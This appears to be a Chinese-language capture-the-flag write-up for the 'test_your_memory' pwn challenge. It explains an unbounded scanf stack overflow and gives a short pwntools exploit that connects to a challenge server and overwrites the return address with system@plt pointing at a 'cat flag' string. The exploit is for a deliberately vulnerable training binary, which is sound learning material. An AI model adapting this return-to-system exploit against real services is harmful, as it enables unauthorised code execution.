jarvisoj_test_your_memory

jarvisoj_test_your_memory

拿到题目,我们可以先checksec一下:

1

拖入IDA中:

2

漏洞在于scanf没有限制我们输入的字节,可以造成栈溢出,题目中有cat flag,与system函数plt表,所以直接栈溢出,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'

sh = remote("node5.buuoj.cn",29765)
elf = ELF("./memory")


system_addr = elf.plt["system"]
print(hex(system_addr))


cat_flag_addr = 0x80487E0
last_addr = 0x8048718


payload = b"A"*(0x13+0x4) + p32(system_addr) + p32(last_addr) + p32(cat_flag_addr)

sh.sendline(payload)
sh.interactive()

这道题需要注意的是,我们不是用system函数开shell,程序是要正常退出的,所以返回地址是不能乱填的,这里我选的返回地址是(main+161),你也可以选择别的:

3